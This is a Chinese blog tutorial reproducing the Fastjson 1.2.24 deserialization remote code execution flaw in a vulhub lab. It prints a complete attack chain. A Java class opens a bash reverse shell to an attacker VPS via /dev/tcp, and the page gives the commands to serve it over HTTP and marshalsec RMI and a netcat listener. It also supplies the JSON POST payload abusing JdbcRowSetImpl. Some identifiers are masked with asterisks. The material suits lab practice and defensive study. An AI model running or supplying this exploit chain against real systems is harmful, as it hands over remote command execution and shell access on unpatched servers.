vulhub fastjson1.2.24rce复现

vulhub fastjson1.2.24rce复现

一、环境准备

vulhub:

靶场环境

vps:

用于部署marshalsec

marshalsec:

用于启用rmi服务传递恶意类

mvn:

构建marshalsec项目

python:

用于配合marshalsec使用

java以及javac:

用于生成以及编译poc文件

以上工具以及环境可以搭配ai进行部署,此处不再进行赘述

二、触发流程

三、复现过程

一、恶意站点开启

1、创建shell.java文件,后用javac shell.java对文件进行编译,随后在vps的  /marshalsec/target目录下放入编译后的.class文件

import java.lang.Runtime;   // 导入Java运行时类(用于执行系统命令)
import java.lang.Process;  // 导入进程类(用于管理执行结果)

public class shell {   
    static {                // 静态代码块(类加载时自动触发)
        try {

            String[] ***mands = {"/bin/bash","-c","bash -i >& /dev/tcp/110.xx.xx.xx/7777 0>&1"};
            // ^-- 定义反弹Shell命令:通过/bin/bash启动子Shell,建立TCP反向连接
            Runtime runtime = Runtime.getRuntime(); // 获取Runtime单例(执行命令的核心对象)
            Process process = runtime.exec(***mands);   // 执行命令(实际攻击入口点)
            process.waitFor();                    // 阻塞等待Shell连接完成
        } catch (Exception e) {
            // 静默异常(防止攻击失败时输出错误日志)
        }
    }
}

2、在该目录下用python3 -m http.server 开启web服务,默认端口为8000,如果是python2版本需要python2 -m SimpleHTTPServer 。开启http服务是为了marshalsec返回的恶意JNDI Reference能指向HTTP服务上的.class文件路径

3、用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://110.xx.xx.xx:8000/#shell" 4396命令启用marshalsec,4396为任意自定义端口

4、nc –lvvp 7777,监听反弹shell

-l(listen)
启用监听模式,将 ***cat 设置为服务端,等待传入的连接(默认是客户端模式主动连接其他服务)

-v(verbose)

启用详细输出模式,显示更多连接相关的信息(如连接来源IP、端口等)

多个 -v 参数(如 -vv)会进一步增加输出的详细程度(例如显示更底层的网络交互信息)

-p(port)

指定本地监听的端口号

二、fastjson触发

1、进入vulhub漏洞站点

2、抓包修改请求方式传payload

POST / HTTP/1.1
Host: 192.168.1.117:8090
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
A***ept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
A***ept-Encoding: gzip, deflate, br
A***ept-Language: zh-***,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 167


{
    "shell":{
        "@type":"***.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://110.xx.xx.xx:4396/shell",
        "auto***mit":true
    }
 
}

三、成功获取反弹shell

web日志

marshalsec日志

JNDI注入触发点
JdbcRowSetImpl类在设置dataSourceName后,若调用setAuto***mit(true),会隐式触发connect()方法,进而通过JNDI(Java Naming and Directory Interface)查找dataSourceName指定的资源

四、可能出错的原因

1、编译不成功

java版本与javac版本不一致

2、开启服务失败

vps安全组配置问题

3、vps安全组开放后还是失败

可能是vps禁用了部分敏感端口,更换端口尝试

4、连接不上

检查自己是不是哪里ip搞错了

转载请说明出处内容投诉
CSS教程网 » vulhub fastjson1.2.24rce复现

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买